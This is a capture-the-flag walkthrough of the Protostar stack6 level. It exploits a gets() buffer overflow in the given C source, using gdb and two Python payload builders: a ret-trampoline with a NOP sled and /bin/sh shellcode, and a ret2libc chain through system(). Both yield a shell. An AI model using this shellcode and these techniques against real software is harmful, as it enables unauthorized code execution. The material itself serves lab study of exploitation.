Problem :lock:

Stack6 looks at what happens when you have restrictions on the return address.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xbf000000) == 0xbf000000) {
    printf("bzzzt (%p)\n", ret);
    _exit(1);
  }

  printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{
  getpath();
}

Hint :bulb:

This level can be done in a couple of ways, such as finding the duplicate of the payload (objdump -s will help with this), or ret2libc , or even return orientated programming.

Solution :key:

We first find try to trigger SIGSEGV, let’s run the program in gdb and give it our alphabet, let’s make the alphabet.

user@protostar:~$ echo "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" > alphabet.txt

Now we feed it through gdb.

(gdb) r < /home/user/alphabet.txt 
Starting program: /opt/protostar/bin/stack6 < /home/user/alphabet.txt
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPUUUURRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ

Program received signal SIGSEGV, Segmentation fault.
0x55555555 in ?? ()

Looks like 0x55555555 (translates into UUUU) is where the return pointer (pushed eip) should be, now let’s set a breakpoints right before getpath() returns back to main():

(gdb) disas getpath
Dump of assembler code for function getpath:
...
0x080484f9 <getpath+117>:       ret    
End of assembler dump.
(gdb) b *0x080484f9
Breakpoint 1 at 0x80484f9: file stack6/stack6.c, line 23.

Let’s run it.

(gdb) r
Starting program: /opt/protostar/bin/stack6 < /home/user/alphabet.txt
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPUUUURRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ

Breakpoint 1, 0x080484f9 in getpath () at stack6/stack6.c:23
23      in stack6/stack6.c
(gdb) x/24wx $esp
0xbffff79c:     0x55555555      0x56565656      0x57575757      0x58585858
0xbffff7ac:     0x59595959      0x5a5a5a5a      0xbffff800      0xbffff85c
0xbffff7bc:     0xb7fe1848      0xbffff810      0xffffffff      0xb7ffeff4
0xbffff7cc:     0x080482a1      0x00000001      0xbffff810      0xb7ff0626
0xbffff7dc:     0xb7fffab0      0xb7fe1b28      0xb7fd7ff4      0x00000000
0xbffff7ec:     0x00000000      0xbffff828      0xffecd58d      0xd5bbc39d

Now we can see the address of the eip that is about to be popped is at 0xbffff79c, now let’s try and make the payload.

// payloadbuilder.py
import struct

filler = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"
addr_to_nops = struct.pack("I", 0xbffff79c+50)
nopsled = "\x90"*100
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

print filler + addr_to_nops + nopsled + shellcode

Let’s output it into a file.

user@protostar:~$ python payloadbuilder.py > payload.txt

Then we run it in gdb.

(gdb) r < /home/user/payload.txt 
Starting program: /opt/protostar/bin/stack6 < /home/user/payload.txt
input path please: bzzzt (0xbffff7ce)

Program exited with code 01.

Looks like we got into the “if” clause in the source and the program exited immediately. After watching this video, it turns out that we can’t jump to an address that starts with 0xbf, so a neat trick, is that we jump to the ret instruction.

How this works is that:

Because our ret operation is a piece of code, it is stored around on top of the memory, so we won’t fall into the “if” clause because our address won’t start with 0xbf.

Why jump to a ret operation? The ret operation will pop whatever is on top of the stack into the eip register, meaning we are going to jump to the address that’s on top of the stack. So the trick is:

  1. we overwrite the return pointer jump to getpath()’s ret operation
    • this is so that we don’t fall into the “if” clause
  2. now ret will be operated again, popping another value into eip
    • this is where we will write the real address pointing to our shellcode, or rather our nops

Let’s recap some stuff before building the payload

So the flow will be something like this:

  1. overflow, overwrite pushed eip with 0x080484f9
  2. it will do the ret operation
  3. the first ret will look at eip, so it will jump there
  4. after jumping, it finds another ret (it’s actually jumping to itself) so it’ll execute it again
    • this time popping our real address that points to our shellcode
  5. eip now points to our shellcode

Let’s build our payload!

// payloadbuilder.py
import struct

filler = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"
addr_to_ret = struct.pack("I", 0x080484f9)
addr_to_nops = struct.pack("I", 0xbffff79c+50)
nopsled = "\x90"*100
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

print filler + addr_to_ret + addr_to_nops + nopsled + shellcode

Then we output it into a file

user@protostar:~$ python payloadbuilder.py > payload.txt

Let’s run it in gdb.

(gdb) r < /home/user/payload.txt 
Starting program: /opt/protostar/bin/stack6 < /home/user/payload.txt
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP�RRRRSSSSTTTT���������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS���

Executing new program: /bin/dash

Program exited normally.

Looks promising, let’s try it outside gdb and also with our cat trick.

user@protostar:/opt/protostar/bin$ (cat /home/user/payload.txt; cat) | ./stack6
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP�RRRRSSSSTTTT���������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS���

ls
final0  final2   format1  format3  heap0  heap2  net0  net2  net4    stack1  stack3  stack5  stack7
final1  format0  format2  format4  heap1  heap3  net1  net3  stack0  stack2  stack4  stack6
pwd
/opt/protostar/bin

Referring to the hint, there are other ways to do it, let’s try it again but this time with ret2libc technique (also demonstrated in the video mentioned).

In the libc library there are a lot of functions, one of them is the system() function, a function that can run shell commands. So let’s find out where it is and let’s jump into it :wink:

From the video, we can recap the exploit into these steps

  1. find where __libc_system function is at
  2. find where the string /bin/sh is at
  3. overwrite return pointer to point to __libc_system
  4. overwrite what’s next to the return pointer to point to /bin/sh string
    • this is because the system() function expects whatever is after it’s return pointer to be the string that it will execute

Before we can actually locate anything, we need to know where libc is, so set a breakpoint somewhere, run the program, then look at the memory mappings

(gdb) info proc map
process 1758
cmdline = '/opt/protostar/bin/stack6'
cwd = '/opt/protostar/bin'
exe = '/opt/protostar/bin/stack6'
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
         0x8048000  0x8049000     0x1000          0        /opt/protostar/bin/stack6
         0x8049000  0x804a000     0x1000          0        /opt/protostar/bin/stack6
        0xb7e96000 0xb7e97000     0x1000          0        
        0xb7e97000 0xb7fd5000   0x13e000          0         /lib/libc-2.11.2.so
        0xb7fd5000 0xb7fd6000     0x1000   0x13e000         /lib/libc-2.11.2.so
        0xb7fd6000 0xb7fd8000     0x2000   0x13e000         /lib/libc-2.11.2.so
        0xb7fd8000 0xb7fd9000     0x1000   0x140000         /lib/libc-2.11.2.so
        0xb7fd9000 0xb7fdc000     0x3000          0        
        0xb7fde000 0xb7fe2000     0x4000          0        
        0xb7fe2000 0xb7fe3000     0x1000          0           [vdso]
        0xb7fe3000 0xb7ffe000    0x1b000          0         /lib/ld-2.11.2.so
        0xb7ffe000 0xb7fff000     0x1000    0x1a000         /lib/ld-2.11.2.so
        0xb7fff000 0xb8000000     0x1000    0x1b000         /lib/ld-2.11.2.so
        0xbffeb000 0xc0000000    0x15000          0           [stack]

Now we know libc is at 0xb7e97000 in memory and at /lib/libc-2.11.2.so in our files.

Step 1 is pretty simple, we just ask gdb where the system() function is, there are a couple of ways to do it, we’ll know it really is a function and not just the string __libc_system because of the < and >.

(gdb) x system
0xb7ecffb0 <__libc_system>:      "\203\354\f\211t$\004\213t$\020\211\034$\350\354\332\375\377\201\303\061\200\020"
(gdb) x __libc_system
0xb7ecffb0 <__libc_system>:      "\203\354\f\211t$\004\213t$\020\211\034$\350\354\332\375\377\201\303\061\200\020"

Now that we know our system() function is at 0xb7ecffb0, time to find the string /bin/sh, we’ll do step 2 with the help of strings, grep, and gdb.

user@protostar:~$ strings -a -t x /lib/libc-2.11.2.so | grep "/bin/sh"
 11f3bf /bin/sh

Here we see 2 switches of the strings command, -a searches the entire file, -t x prints the offset of the string found as hex. So we add this offset with the memory where libc is located to get it’s actual address in the memory, we do it with gdb.

(gdb) x/s 0xb7e97000 + 0x11f3bf
0xb7fb63bf:      "/bin/sh"

The gdb command means: examine (x/) as string (s) whatever is at 0xb7fb63bf (which is 0xb7e97000 + 0x11f3bf). Now we know the string /bin/sh is at 0xb7fb63bf, let’s make the payload!

// payloadbuilder2.py
import struct

filler = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"
addr_of_system = struct.pack("I", 0xb7ecffb0)
addr_of_binsh = struct.pack("I", 0xb7fb63bf)

print filler + addr_of_system + "AAAA" + addr_of_binsh

Why we made the payload this way is so that:

  1. the payload will first fill up the buffer with filler
  2. then it will overwrite the return pointer with addr_of_system
  3. which will make us jump into the system() function in libc
  4. now that we popped addr_of_system into eip, the system() function is going to expect the stack to point to it’s return address (but we just filled it with AAAA), and also expect what’s after the return address to be the string that it will execute
  5. which is why we put addr_of_binsh last

Then pipe it into a file.

user@protostar:~$ python payloadbuilder2.py > payload2.txt

Now let’s try it in gdb.

(gdb) r < /home/user/payload2.txt 
Starting program: /opt/protostar/bin/stack6 < /home/user/payload2.txt
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP����RRRRSSSSTTTT����AAAA�c��

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

Well, we didn’t get a shell, but we did tried to jump to 0x41414141 which is AAAA, let’s try it outside gdb with out cat trick, and hope for the best.

user@protostar:/opt/protostar/bin$ (cat /home/user/payload2.txt; cat) | ./stack6
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP����RRRRSSSSTTTT����AAAA�c��
ls
final0  final2   format1  format3  heap0  heap2  net0  net2  net4    stack1  stack3  stack5  stack7
final1  format0  format2  format4  heap1  heap3  net1  net3  stack0  stack2  stack4  stack6
pwd
/opt/protostar/bin
exit

Segmentation fault
user@protostar:/opt/protostar/bin$

We did get the shell here and as expected we got SIGSEGV because we tried to return to 0x41414141, though I have no idea why it doesn’t work in gdb.

But hey, at least we now understand what “ret2libc” is :innocent:

:checkered_flag: